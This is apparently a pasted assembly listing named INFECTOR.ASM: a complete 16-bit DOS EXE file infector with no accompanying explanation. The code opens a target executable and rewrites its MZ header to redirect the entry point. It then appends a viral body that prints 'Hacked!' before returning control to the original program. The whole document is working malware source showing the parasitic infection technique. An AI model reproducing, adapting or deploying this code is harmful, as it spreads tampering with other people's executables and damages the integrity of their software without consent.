INFECTOR.ASM 1.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596
  1. .286
  2. .model small
  3. .code
  4. org 100h
  5. start: mov ax, 3d02h
  6. mov dx, offset TargName
  7. int 21h
  8. mov bx, ax
  9. push bx
  10. mov ah, 3fh
  11. mov dx, offset Header
  12. mov cx, 24
  13. int 21h
  14. mov ax, Header[20]
  15. mov OldrIP, ax
  16. mov ax, Header[22]
  17. mov OldrCS, ax
  18. mov ax, header[4]
  19. dec ax
  20. shl ax, 9
  21. add ax, Header[2]
  22. push ax
  23. add ax, @progasize
  24. push ax
  25. shr ax, 9
  26. inc ax
  27. mov Header[4], ax
  28. pop ax
  29. and ax, 1FFh
  30. mov header[2], ax
  31. mov ax, header[8]
  32. shl ax, 4
  33. pop cx
  34. sub cx, ax
  35. push cx
  36. shr cx, 4
  37. mov rCS, cx
  38. mov Header[22], cx
  39. pop cx
  40. and cx, 0Fh
  41. mov Header[20], cx
  42. mov ax, 4200h
  43. pop bx
  44. xor dx, dx
  45. xor cx, cx
  46. int 21h
  47. mov ah, 40h
  48. mov dx, offset HEader
  49. mov cx, 24
  50. int 21h
  51. mov ax, 4202h
  52. xor dx, dx
  53. xor cx, cx
  54. int 21h
  55. mov ah, 40h
  56. mov dx, offset @proga
  57. mov cx, @progasize
  58. int 21h
  59. mov ah, 3eh
  60. int 21h
  61. mov ah, 4ch
  62. int 21h
  63. Header dw 0,0,0,0,0,0,0,0,0,0,0,0
  64. TargName db 'hExe.exe',0
  65. ;--------------------------------------------------------
  66. @proga:
  67. call @2
  68. oldrCS dw 0
  69. oldrIP dw 0
  70. rCS dw 0
  71. TxtMsg db 'Hacked!$'
  72. @2: pop si
  73. push cs
  74. pop ax
  75. mov ds, ax
  76. mov bx, cs:[si+4]
  77. sub ax, bx
  78. mov bx, cs:[si]
  79. add ax, bx
  80. push ax
  81. mov bx, cs:[si+2]
  82. push bx
  83. mov ah, 09h
  84. mov dx, si
  85. add dx, 6
  86. int 21h
  87. retf
  88. @progasize EQU $-@proga
  89. end start